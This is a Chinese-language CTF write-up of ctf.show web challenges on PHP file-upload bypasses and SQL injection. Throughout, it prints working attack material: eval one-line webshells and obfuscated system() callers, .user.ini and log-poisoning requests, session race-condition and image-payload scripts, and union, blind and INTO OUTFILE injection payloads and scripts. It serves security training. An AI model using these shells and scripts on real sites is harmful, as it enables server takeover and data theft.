POST /?isVIP=1 HTTP/1.1
Host: 0ffe1355-5551-4386-992e-70c1c9f7197b.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval($_POST[0]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

ctf=/var/log/nginx/access.log&0=system('tac flag.php');

web150plus

  • 方法一:autoload()

这个题一点点小坑__autoload()函数不是类里面的__

__autoload() //在代码中当调用不存在的类时会自动调用该方法。
class_exists也能触发,不过在于怎么给$__CTFSHOW__赋值,因为下划线被过滤了,只要能绕过下划线就可以了
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

  • 方法二:条件竞争

    利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

    这个包含漏洞在php5.4之后可以使用

    因为在php5.4之后php.ini开始有了几个session的默认选项

    1.session.upload_progress.enabled = on
    2.session.upload_progress.cleanup = on
    3.session.upload_progress.prefix = “upload_progress_”
    4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    5.session.use_strict_mode=off

    第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
    第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
    第三和第四个prefix+name将表示为session中的键名
    第五个表示我们对Cookie中sessionID可控
    我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件因为session.use_strict_mode=off所以session的文件名我们是可控的,比如添加一个Cookie:PHPSESSID=flag,PHP将会在服务器上创建一个文件sess_flag,还有session.upload_progress.cleanup = on默认开启所以在我们传入一句话木马就会被立即删除,所以我们要用条件竞争来进行包含

    写个脚本跑一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    import io
    import requests
    import threading
    url = 'http://de6906e6-f354-48f4-960d-5a479b6ec627.challenge.ctf.show:8080/'

    def write(session):
    '''利用PHP_SESSION_UPLOAD_PROGRESS将木马写入session。在session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下上传文件就会把这次上传的信息存储在/tmp/sess_flag中'''
    data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>'
    }
    while True:
    '''创建一个文件用来上传进行条件竞争'''
    f = io.BytesIO(b'a' * 1024 * 10)
    '''以session的方式post上传PHPSESSID和要执行的语句'''
    response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
    def read(session):
    data = {
    '''这里猜测session文件在tmp目录下'''
    'ctf':'/tmp/sess_flag'
    }
    while True:
    '''获取文件包含过后的返回数据'''
    response = session.post(url+'?isVIP=1',data=data)
    if 'ctfshow' in response.text:
    print(response.text)
    break
    else:
    print('retry')

    if __name__ == '__main__':
    '''实例化下session'''
    session = requests.session()
    '''创建多个线程,一个thread对象代表一个线程'''
    for i in range(30):
    threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
    threading.Thread(target=read, args=(session,)).start()

文件上传

.htaccess 和.user.ini 配置文件妙用

  • 标签

    有时候会屏蔽php的标签

    我们可以用短标签

    1
    2
    3
    4
    5
    6
    7
    8

    ><? echo '123';?> //short_open_tags=on

    ><?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制

    ><% echo '123';%> //asp_tags=on php_version < 7

    ><script language="php">echo '123'; </script> //php_vsesion < 7

web153

  • 使用ini绕过,先抓包修改上传ini文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 1a6d1184-db8d-4671-a858-56d5451f64fd.challenge.ctf.show
Content-Length: 205
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysSdVv9iA9wMCmOIg
Origin: http://1a6d1184-db8d-4671-a858-56d5451f64fd.challenge.ctf.show
Referer: http://1a6d1184-db8d-4671-a858-56d5451f64fd.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarysSdVv9iA9wMCmOIg
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file = 1.png
------WebKitFormBoundarysSdVv9iA9wMCmOIg--

然后上传png,如果没文件头检测,就直接传png里面一句话代码,否则要随便截个图,然后代码放最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /upload.php HTTP/1.1
Host: 1a6d1184-db8d-4671-a858-56d5451f64fd.challenge.ctf.show
Content-Length: 205
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysSdVv9iA9wMCmOIg
Origin: http://1a6d1184-db8d-4671-a858-56d5451f64fd.challenge.ctf.show
Referer: http://1a6d1184-db8d-4671-a858-56d5451f64fd.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarysSdVv9iA9wMCmOIg
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?php eval($_POST['x']);?>
------WebKitFormBoundarysSdVv9iA9wMCmOIg--


web156

[]可以用{}来绕过,

1
2
3
<?= eval($_POST{1});?>
// 等价于
<?= eval($_POST[1]);?>

web157

经过测试发现过滤掉了大括号{},[],;

所以可以说这样基本把马给锁死了,但是我们可以任意执行php,就用系统命令查看一下,直接找到flag文件

web 159

本题过滤掉了

php

{}

[]

;

()

所以就无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)

web 160

与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含。

首先上传.user.ini

1
2
3
auto_append_file=/var/www/html/upload/1.png
// 或者
auto_prepend_file=1.png

nginx的日志文件在/var/log/nginx/access.log里头,先看看日志文件有什么,这里上传内容为

1
2
3
// 绕过检查
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

UA改为

1
<?php @eval($_POST['x']);?>

web162

大致思路和上题类似,不过在上传.user.ini的时候发现.被过滤了,可以把包含的文件不带后缀来绕过

包含文件法

  • .user.ini
1
2
3
GIF89a

auto_prepend_file=png
  • png
  • 取反脚本

包含session,条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import re

session = requests.session()
sess = 'abc' #之前上传时自拟的名字
url1 = "http://2c61d1a6-5b2d-4d20-8367-9d9b9875e436.chall.ctf.show/"
url2 = "http://2c61d1a6-5b2d-4d20-8367-9d9b9875e436.chall.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'yu22x tql' #文件名,随便改就行
}
cookies = {
'PHPSESSID': sess
}


def write(): #上传文件竞争过程
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
while True: #每次竞争完都访问一下url/uoload看有没有flag
r = session.get(url2)
if 'flag' in r.text:
flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
print(flag.findall(r.text))


threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

web 164

图片木马

二次渲染原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
#<?=$_GET[0]($_POST[1]);?>

然后通过bp去访问图片

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system HTTP/1.1
Host: 113f313e-076e-4fc6-9c58-07e68e75cc22.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://113f313e-076e-4fc6-9c58-07e68e75cc22.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 8

1=tac f*

web 165

  • 大神的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

  1. 先随便截个图然后上传到服务器后下载下来。

  2. 将下载下来的图片放到脚本目录下,运行` php jpg_payload.php download.jpg

  3. 使用蚁剑链接或者使用bp

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /download.php?image=8ef28ae0fc43a1cb9d73b76784b5fd02.jpg HTTP/1.1
Host: 900b6ebe-ba3e-486d-9e2d-ffd2c0fa6729.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://900b6ebe-ba3e-486d-9e2d-ffd2c0fa6729.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 19

7=system('cat f*');

web166

如果上传不了,把Content-Type设置一下Content-Type: application/x-zip-compressed

web167

  • 考点:Apache的包含解析

上传.htaccess文件:

1
SetHandler application/x-httpd-php .jpg 

web 168

使用``绕过

  1. 上传png图片,通过bp将后缀改成1.php,然后结尾加上<?=`tac ../f*`?>
  2. 访问xxx/upload/1.php即可

上传php文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169

查看前端源代码,这道题前端让我们传zip,然后在bp里面改成image/png因为后端只接受png图片,然后和前面ua绕过的方式一样,通过.user.ini文件包含日志文件,然后访问/upload/路径,但是发现404.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 90cfa445-bcd9-4f2f-8ea3-0e89ebd2d6b0.challenge.ctf.show
Content-Length: 225
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: <?=eval($_POST[1]);?>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmAfVSTikIwEpnAY
Origin: http://90cfa445-bcd9-4f2f-8ea3-0e89ebd2d6b0.challenge.ctf.show
Referer: http://90cfa445-bcd9-4f2f-8ea3-0e89ebd2d6b0.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryMmAfVSTikIwEpnAY
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log
------WebKitFormBoundaryMmAfVSTikIwEpnAY--

因此我们需要上传一个index.php文件,内容谁便填写即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 90cfa445-bcd9-4f2f-8ea3-0e89ebd2d6b0.challenge.ctf.show
Content-Length: 185
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: <?=eval($_POST[1]);?>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmAfVSTikIwEpnAY
Origin: http://90cfa445-bcd9-4f2f-8ea3-0e89ebd2d6b0.challenge.ctf.show
Referer: http://90cfa445-bcd9-4f2f-8ea3-0e89ebd2d6b0.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryMmAfVSTikIwEpnAY
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: image/png

123
------WebKitFormBoundaryMmAfVSTikIwEpnAY--

SQL 注入

知识点

  • %23 相当于 # 可以注释后面的语句,同理 --+也代表注释

sqlmap

1
2
3
4
5
url = 'http://789aa550-e618-4859-a737-146010bc76ee.challenge.ctf.show/'

payload = f'python sqlmap.py -u "{url}api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="{url}api/getToken.php" --safe-freq=1 --tamper=web210.py --tables'

payload

web171

查询语句如下:

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

查数据库名:

  • -1 是为了查询不在表中的数据,使得只显示我们需要的数据
1
-1'union select 1,2,database() --+

查表名:

1
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

查列名:

1
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user" --+

爆字段:

1
-1'union select id,username,password from ctfshow_user --+

web172

用户名是flag则不给输出

  • 方法一:直接使用其他字段代替username

    1
    2
    3
    -1' union select 1,password from ctfshow_user2 where username ='flag'%23
    -1' union select 1,password from ctfshow_user2 where username ='flag'--+
    -1' union select 1,password from ctfshow_user2 where username ='flag
  • 方法二:使用to_base64、hex等等方法加密username

    1
    -1' union select to_base64(username),password from ctfshow_user2  --+

web174

  • 方法一:替换

    返回逻辑判断了不能包含数字和flag,因此我们可以先base64编码,再对数字进行替换。

    1
    -1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+

    然后对爆出的字符串反向替换以下就行了:

    1
    2
    3
    4
    5
    import base64

    flagstr="YnumCRmcnumBhvdnumCsnumCOTknumEMDdkNynumAhMWIxLTRiYzQtOTEnumJYinumJnumCMWJiZTBlNjFhZTRnumI"
    flag=flagstr.replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9').replace('numJ','0')
    print(base64.b64decode(flag))

    或者用其他符号代替

    1
    2
    replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
    # "a1b2c3d4e5" => "a!b@c3d4e5"
  • 方法二:盲注

    flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
    其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。

    代码中使用注释“/**/”将空格替换掉,以避免URL编码可能导致的问题。

    • 布尔盲注

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      import requests
      import string

      url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"

      uuid=string.ascii_lowercase+"-}{"+string.digits
      flag=""

      for i in range(1,46):
      for j in uuid:
      payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
      res = requests.get(url+payload)
      print(j)
      if "admin" in res.text:
      flag += j
      print("flag=",flag)
      break
      else:
      pass

    • trim盲注

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      # @Author:Kradress
      import requests
      import string

      url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"

      uuid=string.ascii_lowercase+"-}{"+string.digits
      flag="ctfshow{"

      for i in range(1,46):
      for j in uuid:
      payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
      res = requests.get(url+payload)
      print(j)
      if "admin" not in res.text:
      flag += j
      print("flag=",flag)
      break
      else:
      pass

web175

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))

\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符

所以ASCII值得0-127都被过滤了,select没法用了。

  • 方法一:写文件

    1
    ' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -

    然后访问1.txt可以获得flag

  • 方法二:写shell

    1
    -1' union select 1,'<?=eval($_POST[1])?>' into outfile '/var/www/html/1.php' --+

    然后使用蚁剑连接,连不上就重新试一下,发现/var/www/html/api/config.php中有配置文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-11-01 14:21:14
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-11-01 19:29:25
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    $dbhost ="127.0.0.1";

    $dbuser = "root";

    $dbpwd = "root";

    $dbname = "ctfshow_web";

    $charName = "utf-8";

    通过蚁剑连接数据库

    image-20230524163039803

  • 方法三:时间盲注

    1' and sleep(6)--+试一下,发现有延迟,可以考虑时间盲注。

    发现确实有延迟,所以可以考虑时间盲注。
    时间盲注:
    通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中,前半部分就已经出错了。
    利用脚本来获取flag。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    # -*- coding: utf-8 -*-

    """
    @Author disda
    @Date 2023/5/24 16:46
    @Describe
    @Dependency
    @Version 1.0
    """
    import requests

    from time import time

    url = 'http://74c7c36e-f70f-4d72-b9a8-1c4ca45b3b35.challenge.ctf.show/api/v5.php'

    flag = ''

    for i in range(1, 100):
    length = len(flag)
    min = 32
    max = 128
    while True:
    j = min + (max - min) // 2
    if min == j:
    flag += chr(j)
    print(flag)
    break
    payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -" % (i, j)
    start_time = time()
    r = requests.get(url=url + payload).text
    end_time = time()
    # print(r)
    if end_time - start_time > 0.48:
    max = j
    else:
    min = j

web176

知道有过滤,但不知道过滤的是谁,所以需要尝试一下。
首先传入1’--+,有回显。
传入1’ --+,有回显,空格没被过滤。
传入1' union select database(),2,3 --+
显示不出数据库,猜测有的字母被过滤,都试了一下,于是发现当传入1' union Select database(),2,3 --+
说明是select被过滤,但大小写可绕过,所以直接传入
-1' union Select password,2,3 from ctfshow_user --+

得到flag。

web177

尝试了三个

1
2
3
1’--+
1’%23
1’ %23

确定了过滤了空格和–+,可以用%0a和%23代替。

  • 万能密码:

1'%0aor%0a1=1%23

  • 常规解法

    • 全显示-1'union%0aselect%0apassword,1,2%0afrom%0actfshow_user%23

    • 只答案-1'union%0aselect%0aid,username,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23

1
2
3
4
5
6
7
8
# 爆数据库
-1'%0aunion%0aselect%0a1,2,database()%23
# 查表名
-1'union%0aselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="ctfshow_web"%23
# 查列名(可省略,因为这道题显示出来了)
-1'union%0aselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name="ctfshow_user"%23
# 爆字段
-1'union%0aselect%0aid,username,password%0afrom%0actfshow_user%23

web179

发现这次是%0a被过滤了,可以用%0c替代%0a。

web180

传入1’%23,发现%23被过滤了。

后边没办法注释了,还可以用’1’=’1来闭合后边。

1
'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

还可以用

1
'or(id=26)and'1'='1

传进去后变成了

1
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";

因为and的优先级大于or所以相当于

1
where (username !='flag' and id = '')  or  (id=26and'1'='1')

or左边为0右边为1,where的条件为1,而且flag刚好在id=26。

或者

1
-1'or(username=concat('fl','ag'))and'a'='a

web183

只能盲注了,利用%在sql中通配多个字符,利用_通配任意一个字符。
成功后会发现发现返回结果 $user_count=1代表匹配到了一个,利用此模式盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import sys
url = "http://9ae11c4b-7472-42b5-9064-5ebe182da98c.challenge.ctf.show/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(100):
for j in letter:
data = {"tableName": "(ctfshow_user)where(pass)like'{}%'".format(flag + j)}
r = requests.post(url=url, data=data).text
# print(r)
if "$user_count = 1;" in r:
flag += j
print(flag)
break
if j == "}":
sys.exit()

web184

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/27 15:04
# @Function:
import requests
import sys

url = 'http://db10ab59-cf2e-4210-a875-b4c3926cc7ce.challenge.ctf.show/select-waf.php'
flag = 'ctfshow{'
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
for i in range(100):
for j in letter:
payload = {
"tableName":"ctfshow_user group by pass having pass like {}".format("0x"+asc2hex(flag+j+"%"))
}

r = requests.post(url=url,data=payload).text
if "$user_count = 1;" in r:
flag+=j
print(flag)
break
if j == "}":
sys.exit()

使用like来爆破

web185

mysql中的利用字符组合成的数字:

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/27 21:52
# @Function:
import requests
import sys

def createNum(n):
num = "true"
if n == 1:
return "true"
else:
for i in range(n - 1):
num += "+true"
return num


def createstrNum(m):
_str = ""
for j in m:
_str += ",chr(" + createNum(ord(j)) + ")"
return _str[1:]


url = "http://282b6260-a1f9-437d-98f1-a7fb46d977a5.challenge.ctf.show:8080/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(100):
for j in letter:
data = {
'tableName': 'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag + j + "%"))
}
res = requests.post(url=url, data=data).text
# print(res)
if "$user_count = 1;" in res:
flag += j
print(flag)
break
if j == "}":
sys.exit()

web187

md5($pass,true)绕过

